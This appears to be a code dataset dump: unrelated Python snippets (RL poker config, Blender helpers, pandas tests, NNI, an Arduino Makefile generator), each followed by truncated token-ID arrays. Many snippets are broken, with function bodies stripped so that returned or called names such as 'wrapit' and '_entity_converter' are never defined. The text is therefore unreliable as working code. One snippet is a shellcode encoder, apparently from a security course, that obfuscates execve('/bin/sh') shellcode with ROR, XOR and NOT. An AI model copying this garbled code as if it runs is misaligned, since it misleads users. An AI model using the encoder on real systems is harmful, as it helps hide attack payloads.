play_n_games_per_iter=50, # The DDQN batch_size=512, ), lbr_args=LBRArgs(n_lbr_hands_per_seat=30000, n_parallel_lbr_workers=10, DISTRIBUTED=True, ), ), eval_methods={'br': 1, #'rlbr': 1, 'lbr': 1, }, n_iterations=12) ctrl.run() pdb.set_trace()
[ 6738, 36157, 7836, 13, 6057, 13, 19966, 1330, 8997, 43, 18123, 198, 6738, 36157, 7836, 13, 6057, 13, 19966, 1330, 4403, 43, 18123, 198, 6738, 36157, 7836, 13, 18206, 13, 45895, 62, 1671, 13, 7836, 11473, 42035, 1330, 45715, 11473, 42035...
1.394737
2,356
import sqlite3 from enum import Enum import random __all__ = ['state_mgr', 'game_state', 'next_state']
[ 11748, 44161, 578, 18, 198, 6738, 33829, 1330, 2039, 388, 198, 11748, 4738, 198, 198, 834, 439, 834, 796, 37250, 5219, 62, 76, 2164, 3256, 705, 6057, 62, 5219, 3256, 705, 19545, 62, 5219, 20520, 628, 628 ]
2.891892
37
"""Tests for callables."""
[ 37811, 51, 3558, 329, 869, 2977, 526, 15931, 198 ]
3
9
''' A compatibility layer for DSS C-API that mimics the official OpenDSS COM interface. Copyright (c) 2016-2019 Paulo Meira ''' from __future__ import absolute_import from .IDSS import IDSS
[ 7061, 6, 198, 32, 17764, 7679, 329, 360, 5432, 327, 12, 17614, 326, 17007, 873, 262, 1743, 4946, 5258, 50, 9440, 7071, 13, 198, 198, 15269, 357, 66, 8, 1584, 12, 23344, 34410, 2185, 8704, 198, 7061, 6, 198, 6738, 11593, 37443, 834, ...
3.410714
56
from .component import Component, using_scope import tensorflow.compat.v1 as tf tf.disable_v2_behavior()
[ 6738, 764, 42895, 1330, 35100, 11, 1262, 62, 29982, 198, 11748, 11192, 273, 11125, 13, 5589, 265, 13, 85, 16, 355, 48700, 198, 27110, 13, 40223, 62, 85, 17, 62, 46571, 3419, 628 ]
3.212121
33
from hydrocarbon_problem.env.types_ import Observation, Done, Stream, Column
[ 6738, 17173, 29255, 62, 45573, 13, 24330, 13, 19199, 62, 1330, 11086, 13208, 11, 24429, 11, 13860, 11, 29201 ]
4
19
''' Copyright (C) 2021 CG Cookie http://cgcookie.com hello@cgcookie.com Created by Jonathan Denning, Jonathan Williamson This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ''' import os import re import json import time import inspect from functools import wraps import bpy debug_run_test_calls = False # corrected bug in previous version of blender_version fn wrapper # https://github.com/CGCookie/retopoflow/commit/135746c7b4ee0052ad0c1842084b9ab983726b33#diff-d4260a97dcac93f76328dfaeb5c87688 def blender_version_wrapper(op, ver): self = blender_version_wrapper if not hasattr(self, 'fns'): major, minor, rev = bpy.app.version self.blenderver = '%d.%02d' % (major, minor) self.fns = fns = {} self.ops = { '<': lambda v: self.blenderver < v, '>': lambda v: self.blenderver > v, '<=': lambda v: self.blenderver <= v, '==': lambda v: self.blenderver == v, '>=': lambda v: self.blenderver >= v, '!=': lambda v: self.blenderver != v, } update_fn = self.ops[op](ver) return wrapit def only_in_blender_version(*args, ignore_others=False, ignore_return=None): self = only_in_blender_version if not hasattr(self, 'fns'): major, minor, rev = bpy.app.version self.blenderver = '%d.%02d' % (major, minor) self.fns = {} self.ignores = {} self.ops = { '<': lambda v: self.blenderver < v, '>': lambda v: self.blenderver > v, '<=': lambda v: self.blenderver <= v, '==': lambda v: self.blenderver == v, '>=': lambda v: self.blenderver >= v, '!=': lambda v: self.blenderver != v, } self.re_blender_version = re.compile(r'^(?P<comparison><|<=|==|!=|>=|>) *(?P<version>\d\.\d\d)$') matches = [self.re_blender_version.match(arg) for arg in args] assert all(match is not None for match in matches), f'At least one arg did not match version comparison: {args}' results = [self.ops[match.group('comparison')](match.group('version')) for match in matches] version_matches = all(results) return wrapit def warn_once(warning): return wrapper class PersistentOptions: class WrappedDict: def __init__(self, cls, filename, version, defaults, update_external): self._dirty = False self._last_save = time.time() self._write_delay = 2.0 self._defaults = defaults self._update_external = update_external self._defaults['persistent options version'] = version self._dict = {} if filename: src = inspect.getsourcefile(cls) path = os.path.split(os.path.abspath(src))[0] self._fndb = os.path.join(path, filename) else: self._fndb = None self.read() if self._dict.get('persistent options version', None) != version: self.reset() self.update_external()
[ 7061, 6, 198, 15269, 357, 34, 8, 33448, 29925, 39606, 198, 4023, 1378, 66, 36484, 18055, 13, 785, 198, 31373, 31, 66, 36484, 18055, 13, 785, 198, 198, 41972, 416, 11232, 5601, 768, 11, 11232, 34974, 628, 220, 220, 220, 770, 1430, 31...
2.334393
1,573
import numpy as np import pytest from pandas import ( DataFrame, Series, concat, ) import pandas._testing as tm def create_mock_weights(obj, com, adjust, ignore_na): if isinstance(obj, DataFrame): if not len(obj.columns): return DataFrame(index=obj.index, columns=obj.columns) w = concat( [ create_mock_series_weights( obj.iloc[:, i], com=com, adjust=adjust, ignore_na=ignore_na ) for i, _ in enumerate(obj.columns) ], axis=1, ) w.index = obj.index w.columns = obj.columns return w else: return create_mock_series_weights(obj, com, adjust, ignore_na) def create_mock_series_weights(s, com, adjust, ignore_na): w = Series(np.nan, index=s.index) alpha = 1.0 / (1.0 + com) if adjust: count = 0 for i in range(len(s)): if s.iat[i] == s.iat[i]: w.iat[i] = pow(1.0 / (1.0 - alpha), count) count += 1 elif not ignore_na: count += 1 else: sum_wts = 0.0 prev_i = -1 count = 0 for i in range(len(s)): if s.iat[i] == s.iat[i]: if prev_i == -1: w.iat[i] = 1.0 else: w.iat[i] = alpha * sum_wts / pow(1.0 - alpha, count - prev_i) sum_wts += w.iat[i] prev_i = count count += 1 elif not ignore_na: count += 1 return w
[ 11748, 299, 32152, 355, 45941, 198, 11748, 12972, 9288, 198, 198, 6738, 19798, 292, 1330, 357, 198, 220, 220, 220, 6060, 19778, 11, 198, 220, 220, 220, 7171, 11, 198, 220, 220, 220, 1673, 265, 11, 198, 8, 198, 11748, 19798, 292, 135...
1.745395
923
# TODO finish implementing query import math from pyspark import SparkContext # from genex.cluster import sim_between_seq from brainex.op.query_op import sim_between_seq from brainex.parse import strip_function, remove_trailing_zeros from .classes import Sequence from brainex.database import genexengine def query(q: Sequence, gc: genexengine, loi: list, sc: SparkContext, k:int=1, ex_sameID: bool=False, overlap: float= 1.0, mode:str='genex'): """ :param q: query sequence :param gc: Gcluster in which to query :param loi: list of two integer values, specifying the query range, if set to None, is going to query all length :param sc: spark context on which to run the query operation :param k: integer, specifying to return top k matches :param ex_sameID: boolean, whether to include sequences from the time series with the same id as the query sequence :param overlap: float, how much overlapping between queries lookups :param mode: query mode, supported modes are 'genex' and 'bf' (bf = brute force) """ if mode == 'genex': gquery() elif mode == 'bf': bfquery() else: raise Exception('Unsupported query mode: ' + mode) def gquery(query_list: list, gc_data: dict, loi: list, input_list: list, k:int=1, ex_sameID: bool=False, overlap: float= 1.0, ): """ Because Gcluster object doesn't have map property, we have to use dict as input :param file: :param gc_data: :param loi: :param input_list: :param k: :param ex_sameID: :param overlap: :return: """ # get query from id, start, end point # get query from csv file # # query_list = [] # query_set = get_query_from_csv_with_id(file) # print(query_set) # for cur_query in query_set: # query_list.append(get_query_from_sequence(cur_query[0], int(cur_query[1]), int(cur_query[2]), input_list)) # print(query_list) return custom_query(query_list, loi, gc_data, k, input_list) # # def custom_query_operation(q: Sequence, gc: Gcluster, loi: list, sc: SparkContext, # k:int=1, ex_sameID: bool=False, overlap: float= 1.0): # # query_result = filter_rdd_back.repartition(16).map( # lambda clusters: custom_query(q, loi, gc, k, # global_time_series_dict.value, )) # # changed here # # plot_query_result(query_sequence, query_result, global_time_series_dict.value) # return query_result def get_query_from_sequence(id: tuple, start: int, end: int, input_list: list): """ :param id: :param start: :param end: :param input_list: :return: a list """ try: input_dict = dict(input_list) # validate by converting input_list into a dict except (TypeError, ValueError): raise Exception('sequence: fetch_data: input_list is not key-value pair.') return input_dict[id][start: end] def custom_query(query_sequences: list, loi: list, Gcluster_data:dict, k : int, input_list:list): # """ # # :param query_sequences: list of list: the list of sequences to be queried # :param cluster: dict[key = representative, value = list of timeSeriesObj] -> representative is timeSeriesObj # the sequences in the cluster are all of the SAME length # :param k: int # :return list of time series objects: best k matches. Again note they are all of the SAME length # """ """ :param query_sequences: :param query_range: :param Gcluster_data: :param k: :param input_list: :return: """ # get query from csv file which contains lists of list of query actual clusters # get query from csv file which contains lists of tuple of id, start, endpoint query_result = dict() if not isinstance(query_sequences, list) or len(query_sequences) == 0: raise ValueError("query sequence must be a list and not empty") cur_query_number = 0 if isinstance(query_sequences[0], list): print("length of query is [" + str(len(query_sequences)) + "]" + "[" + str(len(query_sequences[0])) + "]") print("query is a list of list") for cur_query in query_sequences: if isinstance(cur_query, list): query_result[cur_query_number] = get_most_k_sim(cur_query, loi, Gcluster_data, k, input_list) cur_query_number += 1 return query_result else: return get_most_k_sim(query_sequences, loi, Gcluster_data, k, input_list) def get_most_k_sim(query_sequence: list, loi: list, Gcluster_data : dict, k, input_list:list): """ :param query_sequence: :param query_range: :param Gcluster_data: :param k: :param input_list: :return: """ min_rprs = None # the representative that is closest to the query distance min_dist = math.inf target_cluster = [] print("length of gcluster clusters is " + str(len(Gcluster_data[1]))) for cur_rprs_seq in Gcluster_data[1].keys(): # TODO do we want to get raw clusters here, or set the raw in timeSeriesObj before calling query (no parsing) if (cur_rprs_seq.end - cur_rprs_seq.start + 1) in range(loi[0], loi[1] + 1): # modify here, not use get clusters from objects, use values cur_dist = sim_between_seq(query_sequence, cur_rprs_seq.fetch_data(input_list)) if cur_dist < min_dist: min_rprs = cur_rprs_seq min_dist = cur_dist else: break if min_rprs: print('min representative is ' + min_rprs.__str__()) print('min dist' + str(min_dist)) # print("Querying Cluster of length: " + str(len(get_data_for_timeSeriesObj(min_rprs, time_series_dict)))) target_cluster = Gcluster_data[1].get(min_rprs) print('len of cluster is ' + str(len(target_cluster))) # print("sorting") # target_cluster.sort(key=lambda cluster_sequence: sim_between_seq(query_sequence, cluster_sequence.data)) k = int(k) return target_cluster[0:k] # return the k most similar sequences else: return None
[ 198, 2, 16926, 46, 5461, 15427, 12405, 198, 198, 11748, 10688, 198, 6738, 279, 893, 20928, 1330, 17732, 21947, 198, 198, 2, 422, 2429, 1069, 13, 565, 5819, 1330, 985, 62, 23395, 62, 41068, 198, 6738, 3632, 1069, 13, 404, 13, 22766, ...
2.456368
2,544
import sys import time from typing import List import asyncio import ccxt.async_support as ccxt # import ccxt import itertools from enum import Enum if __name__ == '__main__': asyncio.run(main())
[ 11748, 25064, 201, 198, 11748, 640, 201, 198, 6738, 19720, 1330, 7343, 201, 198, 201, 198, 11748, 30351, 952, 201, 198, 11748, 36624, 742, 13, 292, 13361, 62, 11284, 355, 36624, 742, 201, 198, 2, 1330, 36624, 742, 201, 198, 11748, 340...
2.285714
105
WIDTH = 20 HEIGHT = 14 TITLE = 'Click Ninja' BACKGROUND = 'board' score(color = PURPLE) callback(spawn, 1) keydown('r', reset)
[ 54, 2389, 4221, 796, 1160, 198, 13909, 9947, 796, 1478, 198, 49560, 2538, 796, 705, 8164, 14152, 6, 198, 31098, 46025, 796, 705, 3526, 6, 198, 198, 26675, 7, 8043, 796, 33079, 16437, 8, 198, 47423, 7, 48183, 11, 352, 8, 198, 2539, ...
2.56
50
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from typing import Callable, Dict import torch import torch.nn as nn from nni.retiarii import model_wrapper from nni.retiarii.nn.pytorch import NasBench201Cell __all__ = ['NasBench201'] OPS_WITH_STRIDE = { 'none': lambda C_in, C_out, stride: Zero(C_in, C_out, stride), 'avg_pool_3x3': lambda C_in, C_out, stride: Pooling(C_in, C_out, stride, 'avg'), 'max_pool_3x3': lambda C_in, C_out, stride: Pooling(C_in, C_out, stride, 'max'), 'conv_3x3': lambda C_in, C_out, stride: ReLUConvBN(C_in, C_out, (3, 3), (stride, stride), (1, 1), (1, 1)), 'conv_1x1': lambda C_in, C_out, stride: ReLUConvBN(C_in, C_out, (1, 1), (stride, stride), (0, 0), (1, 1)), 'skip_connect': lambda C_in, C_out, stride: nn.Identity() if stride == 1 and C_in == C_out else FactorizedReduce(C_in, C_out, stride), } PRIMITIVES = ['none', 'skip_connect', 'conv_1x1', 'conv_3x3', 'avg_pool_3x3']
[ 2, 15069, 357, 66, 8, 5413, 10501, 13, 198, 2, 49962, 739, 262, 17168, 5964, 13, 198, 198, 6738, 19720, 1330, 4889, 540, 11, 360, 713, 198, 198, 11748, 28034, 198, 11748, 28034, 13, 20471, 355, 299, 77, 198, 198, 6738, 299, 8461, ...
2.301887
424
#!/usr/bin/env python3 import os from setuptools import setup with open(os.path.join(os.path.dirname(__file__), 'README.rst'), encoding='utf-8') as f: long_description = f.read() setup( name='dialog_py', version='1.0a1', description='Python API for cdialog/linux dialog', long_description=long_description, url='https://github.com/pasha13666/dialog_py', author='Pasha__kun', author_email='pasha2001dpa@ya.ru', packages=['dialog_py'], install_requires=[], include_package_data=True, license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Console', 'License :: OSI Approved :: MIT License', 'Operating System :: POSIX', 'Operating System :: POSIX :: Linux', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3 :: Only', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: Implementation :: CPython' ] )
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 198, 11748, 28686, 198, 198, 6738, 900, 37623, 10141, 1330, 9058, 198, 198, 4480, 1280, 7, 418, 13, 6978, 13, 22179, 7, 418, 13, 6978, 13, 15908, 3672, 7, 834, 7753, 834, 828, ...
2.580994
463
# -*- coding: utf-8 -*- from __future__ import unicode_literals import unittest import nose from nose.tools import * from whoswho import who, config from nameparser.config.titles import TITLES as NAMEPARSER_TITLES # TODO: Should we ensure that the metadata is up to date? if __name__ == '__main__': nose.main()
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 6738, 11593, 37443, 834, 1330, 28000, 1098, 62, 17201, 874, 198, 198, 11748, 555, 715, 395, 198, 198, 11748, 9686, 198, 6738, 9686, 13, 31391, 1330, 1635, 198, 198, 6738...
2.901786
112
import json from flask import request from flask_restful import Resource, abort, reqparse from models.User import User """ POST Creates a new resource. GET Retrieves a resource. PUT Updates an existing resource. DELETE Deletes a resource. """
[ 11748, 33918, 198, 198, 6738, 42903, 1330, 2581, 198, 6738, 42903, 62, 2118, 913, 1330, 20857, 11, 15614, 11, 43089, 29572, 198, 198, 6738, 4981, 13, 12982, 1330, 11787, 198, 198, 37811, 198, 32782, 220, 220, 220, 220, 220, 220, 220, ...
2.621622
111
from django.forms import forms
[ 6738, 42625, 14208, 13, 23914, 1330, 5107, 201, 198, 201, 198 ]
3.090909
11
#!/usr/bin/python # Title: ROR/XOR/NOT encoder # File: rorxornotencode.py # Author: Guillaume Kaddouch # SLAE-681 import sys ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) shellcode = ( "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" ) encoded = "" encoded2 = "" print "[*] Encoding shellcode..." for x in bytearray(shellcode): # ROR & XOR encoding z = ror(x, 7, 8)^0xAA # NOT encoding y = ~z if str('%02x' % (y & 0xff)).upper() == "00": print ">>>>>>>>>> NULL detected in shellcode, aborting." sys.exit() if str('%02x' % (y & 0xff)).upper() == "0A": print ">>>>>>>>>> \\xOA detected in shellcode." if str('%02x' % (y & 0xff)).upper() == "0D": print ">>>>>>>>>>> \\x0D detected in shellcode." encoded += '\\x' encoded += '%02x' % (y & 0xff) encoded2 += '0x' encoded2 += '%02x,' %(y & 0xff) print "hex version : %s" % encoded print "nasm version : %s" % encoded2 print "encoded shellcode : %s bytes" % str(len(encoded)/4)
[ 2, 48443, 14629, 14, 8800, 14, 29412, 198, 198, 2, 11851, 25, 371, 1581, 14, 55, 1581, 14, 11929, 2207, 12342, 198, 2, 9220, 25, 374, 273, 87, 1211, 313, 268, 8189, 13, 9078, 198, 2, 6434, 25, 1962, 5049, 2454, 509, 2860, 7673, ...
2.111712
555
import datetime from enum import Enum from typing import Any, Callable, Dict, List, Optional, Type, TypeVar, Union, cast import attr import ciso8601 import structlog from attr import converters from . import enums from .utils import as_json_dict, to_snake_case logger = structlog.get_logger() OMITTED = Omitted.token """A singleton to differentiate between omitted vs explicit :obj:`None`.""" # helper type for entity_converter U = TypeVar("U", bound="BaseAAEntity") def entity_converter( entity_cls, # type: Union[List[Type[U]], Type[U]] ): # type: (...) -> Callable[[Union[Omitted, U, Dict]], Union[U, Omitted]] """ Convert a dictionary response into instances of the entity class. Usage: # disambiguates between type_a and type_b based on ``__typename`` converter = entity_converter([TypeA, TypeB]) my_instance = converter({'__typename': 'TypeB'}) XXX: mypy isn't expressive enough to annotate that the return type will be one of the _specific_ arg types and not the most generic bound base. We'll unfortunately have to ``# type: ignore`` on lines that call this. Args: entity_cls: the class (or classes) the value should be converted into. If multiple classes are provided as options, ``__typename`` must be included in the reponse to support disambiguation. Returns: A callable that will convert a dictionary to the right entity type. If more than one entity type is possible, that dictionary must have a ``__typename`` field present, which must match the ``TYPENAME`` on a provided entity. If none of the provided types match of if the fields don't align with the provided entity, a ``TypeError`` is raised. """ entity_classes = [] # type: List[Type[U]] if isinstance(entity_cls, (list, tuple)): entity_classes = entity_cls else: entity_classes = [entity_cls] return _entity_converter
[ 11748, 4818, 8079, 198, 6738, 33829, 1330, 2039, 388, 198, 6738, 19720, 1330, 4377, 11, 4889, 540, 11, 360, 713, 11, 7343, 11, 32233, 11, 5994, 11, 5994, 19852, 11, 4479, 11, 3350, 198, 198, 11748, 708, 81, 198, 11748, 269, 26786, 4...
2.888244
689
from library import config, ini, lang, log, performance, periphery, queue from asyncio import get_event_loop from threading import Thread, Event from PyQt5.QtCore import QObject, pyqtSignal from PyQt5.QtWidgets import QTreeWidgetItem # noinspection PyPep8Naming # noinspection PyPep8Naming # noinspection PyPep8Naming def cancel(self): """ Cancel the USBTOP processing - calling coroutine """ self._manager.exec(self._cancel, self._name_cancelling) def isRunning(self): """ Check if the USBTOP processing is running """ return self._thread.is_alive()
[ 6738, 5888, 1330, 4566, 11, 287, 72, 11, 42392, 11, 2604, 11, 2854, 11, 46628, 11, 16834, 198, 198, 6738, 30351, 952, 1330, 651, 62, 15596, 62, 26268, 198, 6738, 4704, 278, 1330, 14122, 11, 8558, 198, 6738, 9485, 48, 83, 20, 13, 4...
2.870813
209
DEPTH = 3 # Action def my_controller(observation, action_space, is_act_continuous=False): ac = Action.mapAct[MinimaxAgent(observation).get_action(observation['controlled_snake_index'])] return [ac]
[ 46162, 4221, 796, 513, 198, 198, 2, 7561, 198, 198, 4299, 616, 62, 36500, 7, 672, 3168, 341, 11, 2223, 62, 13200, 11, 318, 62, 529, 62, 18487, 5623, 28, 25101, 2599, 198, 220, 220, 220, 936, 796, 7561, 13, 8899, 6398, 58, 9452, ...
2.688312
77
#!/usr/bin/pyton # Title: # Author: # Additional Authors: # Filename: # Description: # Version: # Date: # Last Modified: # Location_of_the_Video: # Meta_data_for_YouTube: # Web_Site_For_Video: # Start Your Code Here #EOF
[ 2, 48443, 14629, 14, 8800, 14, 9078, 1122, 198, 2, 11851, 25, 198, 2, 6434, 25, 198, 2, 15891, 46665, 25, 198, 2, 7066, 12453, 25, 198, 2, 12489, 25, 198, 2, 10628, 25, 198, 2, 7536, 25, 198, 2, 4586, 40499, 25, 198, 2, 13397,...
2.604651
86
# coding=utf-8 from parser.client import * from parser.client.ResponseItem import * with (Path(__file__).resolve().parent / "config.json").open("rt") as siteConfigFile: SITE_CONFIG = json.load(siteConfigFile)
[ 2, 19617, 28, 40477, 12, 23, 198, 198, 6738, 30751, 13, 16366, 1330, 1635, 198, 6738, 30751, 13, 16366, 13, 31077, 7449, 1330, 1635, 628, 198, 4480, 357, 15235, 7, 834, 7753, 834, 737, 411, 6442, 22446, 8000, 1220, 366, 11250, 13, 1...
3.013889
72
# -*- coding: utf-8 -*- ''' Copyright 2012 Rodrigo Pinheiro Matias <rodrigopmatias@gmail.com> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ''' templates = { 'static_link': ''' \t@$(AR) rcs %(lib)s %(obj)s \t@echo " [\033[33m\033[1mAR\033[0m] - \033[37m\033[1m%(obj)s\033[0m to \033[37m\033[1m%(lib)s\033[0m"''', 'c_obj_ruler': '''%(obj)s: %(source)s \t@$(CC) $(CFLAGS) $(INCLUDE) -c %(source)s -o %(obj)s 1>> compile.log 2>> compile.err \t@echo " [\033[33m\033[1mCC\033[0m] - \033[37m\033[1m%(source)s\033[0m"''', 'asm_obj_ruler': '''%(obj)s: %(source)s \t@$(AS) $(ASFLAGS) -o %(obj)s %(source)s 1>> compile.log 2>> compile.err \t@echo " [\033[33m\033[1mAS\033[0m] - \033[37m\033[1m%(source)s\033[0m"''', 'c_asm_ruler': '''%(obj)s: %(source)s \t@$(CC) $(CFLAGS) $(INCLUDE) -c %(source)s -S -o %(obj)s 1>> compile.log 2>> compile.err \t@echo " [\033[33m\033[1mCC\033[0m] - \033[37m\033[1m%(source)s\033[0m"''', 'cxx_obj_ruler': '''%(obj)s: %(source)s \t@$(CXX) $(CXXFLAGS) $(INCLUDE) -c %(source)s -o %(obj)s 1>> compile.log 2>> compile.err \t@echo " [\033[33m\033[1mCXX\033[0m] - \033[37m\033[1m%(source)s\033[0m"''', 'cxx_asm_ruler': '''%(obj)s: %(source)s \t@$(CXX) $(CXXFLAGS) $(INCLUDE) -c %(source)s -S -o %(obj)s 1>> compile.log 2>> compile.err \t@echo " [\033[33m\033[1mCXX\033[0m] - \033[37m\033[1m%(source)s\033[0m"''', 'avr-main.cc': '''/** * Generated with sketch %(version)s **/ #include <avr/sleep.h> int main(void) { for(;;) sleep_mode(); return 0; }''', 'main.cc': '''/** * Generated with sketch %(version)s **/ #include <Arduino.h> /** * Setup of the firmware **/ void setup() { } /** * Schedule events for firmware program **/ void loop() { delay(250); }''', 'Makefile': '''########################################## # Makefile generated with sketch %(version)s ########################################## # Defines of Arduino ARDUINO_HOME=%(sdk_home)s ARDUINO_CORE=$(ARDUINO_HOME)/hardware/arduino/cores ARDUINO_VARIANT=$(ARDUINO_HOME)/hardware/arduino/variants/%(variant)s # Define toolchain CC=%(cc)s CXX=%(cxx)s AS=%(asm)s LD=%(ld)s AR=%(ar)s OBJCOPY=%(objcopy)s SIZE=%(size)s AVRDUDE=%(avrdude)s PROGRAMER=%(programer)s LIB= INCLUDE=-I$(ARDUINO_CORE)/arduino -I$(ARDUINO_VARIANT) -I$(ARDUINO_CORE) -I lib/ #Define of MCU MCU=%(mcu)s CLOCK=%(clock_hz)sUL ARDUINO=%(sdk_version)s # Define compiler flags _CFLAGS=-Os -Wall -fno-exceptions -ffunction-sections -fdata-sections -mmcu=$(MCU) \\ -DF_CPU=$(CLOCK) -MMD -DARDUINO=$(ARDUINO) \\ -fpermissive -lm -Wl,-u,vfprintf -lprintf_min CFLAGS=$(_CFLAGS) -std=c99 CXXFLAGS=$(_CFLAGS) -std=c++98 ASFLAGS=-mmcu $(MCU) # Define compiler rulers OBJ=%(obj_dep)s CORE_OBJ=%(core_obj_dep)s AOUT=binary/%(project_name)s-%(mcu)s.elf HEX=binary/%(project_name)s-%(mcu)s.hex EPP=binary/%(project_name)s-%(mcu)s.epp CORE_LIB=binary/core.a LIB_DEPS=%(lib_deps)s LD_FLAGS=-Os -Wl,--gc-sections -mmcu=$(MCU) -lm AVRDUDE_OPTIONS = -p$(MCU) -c$(PROGRAMER) %(pgrextra)s -Uflash:w:$(HEX):i SIZE_OPTS=-C --mcu=$(MCU) CONFIG_EXISTS=$(shell [ -e "Makefile.config" ] && echo 1 || echo 0) ifeq ($(CONFIG_EXISTS), 1) include Makefile.config endif all: $(HEX) $(EPP) rebuild: clean all deploy: $(HEX) \t$(AVRDUDE) $(AVRDUDE_OPTIONS) $(HEX): $(EPP) \t@echo " [\033[33m\033[1mOBJCOPY\033[0m] - \033[37m\033[1mFirmware\033[0m" \t@$(OBJCOPY) -O ihex -R .eeprom $(AOUT) $(HEX) $(EPP): $(AOUT) \t@echo " [\033[33m\033[1mOBJCOPY\033[0m] - \033[37m\033[1mMemory of EEPROM\033[0m" \t@$(OBJCOPY) -O ihex -j .eeprom --set-section-flags=.eeprom=alloc,load --no-change-warnings --change-section-lma .eeprom=0 $(AOUT) $(EPP) size: $(AOUT) \t@$(SIZE) $(SIZE_OPTS) $(AOUT) $(AOUT): clear-compiler $(OBJ) $(CORE_LIB) $(LIB_DEPS) \t@echo " [\033[33m\033[1mLD\033[0m] - \033[37m\033[1m$(AOUT)\033[0m" \t@$(CXX) $(LD_FLAGS) $(LIB) $(OBJ) $(CORE_LIB) $(LIB_DEPS) -o $(AOUT) $(CORE_LIB): $(CORE_OBJ)%(core_ruler)s %(asm_rulers)s %(obj_rulers)s %(libs_rulers)s %(core_asm_rulers)s %(core_obj_rulers)s clear-compiler: \t@echo " [\033[33m\033[1mRM\033[0m] - Clear compiler logs" \trm -f compile.* clean-tmp: \t@echo " [\033[33m\033[1mRM\033[0m] - Clear temporary files" \t@rm -f tmp/* clean-bin: \t@echo " [\033[33m\033[1mRM\033[0m] - Clear binary files" \t@rm -f binary/* clean: \t@echo " [\033[33m\033[1mRM\033[0m] - Clear temporary files" \t@rm -f tmp/* \t@echo " [\033[33m\033[1mRM\033[0m] - Clear binary files" \t@rm -f binary/* ''', 'avr-Makefile': '''########################################## # Makefile generated with sketch %(version)s ########################################## # Define toolchain CC=%(cc)s CXX=%(cxx)s AS=%(asm)s LD=%(ld)s AR=%(ar)s OBJCOPY=%(objcopy)s SIZE=%(size)s AVRDUDE=%(avrdude)s PROGRAMER=%(programer)s LIB= INCLUDE=-I lib/ #Define of MCU MCU=%(mcu)s CLOCK=%(clock_hz)sUL # Define compiler flags _CFLAGS=-Os -Wall -fno-exceptions -ffunction-sections -fdata-sections -mmcu=$(MCU) \\ -DF_CPU=$(CLOCK) -fpermissive -lm -Wl,-u,vfprintf -lprintf_min CFLAGS=$(_CFLAGS) -std=c99 CXXFLAGS=$(_CFLAGS) -std=c++98 ASFLAGS=-mmcu $(MCU) # Define compiler rulers ASM=%(asm_dep)s OBJ=%(obj_dep)s LIB_DEPS=%(lib_deps)s AOUT=binary/%(project_name)s-%(mcu)s.elf HEX=binary/%(project_name)s-%(mcu)s.hex EPP=binary/%(project_name)s-%(mcu)s.epp LD_FLAGS=-Os -Wl,--gc-sections -mmcu=$(MCU) -lm AVRDUDE_OPTIONS = -p$(MCU) -c$(PROGRAMER) %(pgrextra)s -Uflash:w:$(HEX):i SIZE_OPTS=-A CONFIG_EXISTS=$(shell [ -e "Makefile.config" ] && echo 1 || echo 0) ifeq ($(CONFIG_EXISTS), 1) include Makefile.config endif all: $(HEX) $(EPP) rebuild: clean all deploy: $(HEX) \t$(AVRDUDE) $(AVRDUDE_OPTIONS) $(HEX): $(EPP) \t@echo " [\033[33m\033[1mOBJCOPY\033[0m] - \033[37m\033[1mFirmware\033[0m" \t@$(OBJCOPY) -O ihex -R .eeprom $(AOUT) $(HEX) $(EPP): $(AOUT) \t@echo " [\033[33m\033[1mOBJCOPY\033[0m] - \033[37m\033[1mMemory of EEPROM\033[0m" \t@$(OBJCOPY) -O ihex -j .eeprom --set-section-flags=.eeprom=alloc,load --no-change-warnings --change-section-lma .eeprom=0 $(AOUT) $(EPP) size: $(AOUT) \t@$(SIZE) $(SIZE_OPTS) $(AOUT) $(AOUT): clear-compiler $(OBJ) $(LIB_DEPS) \t@echo " [\033[33m\033[1mLD\033[0m] - \033[37m\033[1m$(AOUT)\033[0m" \t@$(CXX) $(LD_FLAGS) $(LIB) $(OBJ) $(LIB_DEPS) -o $(AOUT) %(asm_rulers)s %(obj_rulers)s %(libs_rulers)s clear-compiler: \t@echo " [\033[33m\033[1mRM\033[0m] - Clear compiler logs" \t@rm -f compile.* clean-tmp: \t@echo " [\033[33m\033[1mRM\033[0m] - Clear temporary files" \t@rm -f tmp/* clean-bin: \t@echo " [\033[33m\033[1mRM\033[0m] - Clear binary files" \t@rm -f binary/* clean: \t@echo " [\033[33m\033[1mRM\033[0m] - Clear temporary files" \t@rm -f tmp/* \t@echo " [\033[33m\033[1mRM\033[0m] - Clear binary files" \t@rm -f binary/* ''' }
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 7061, 6, 198, 15269, 2321, 46198, 13727, 258, 7058, 6550, 4448, 1279, 14892, 4359, 404, 6759, 4448, 31, 14816, 13, 785, 29, 198, 198, 26656, 15385, 739, 262, 24843, 1378...
1.98374
3,690
import pygame from pygame.locals import * import resourceManager
[ 11748, 12972, 6057, 198, 6738, 12972, 6057, 13, 17946, 874, 1330, 1635, 198, 11748, 8271, 13511, 198 ]
3.823529
17
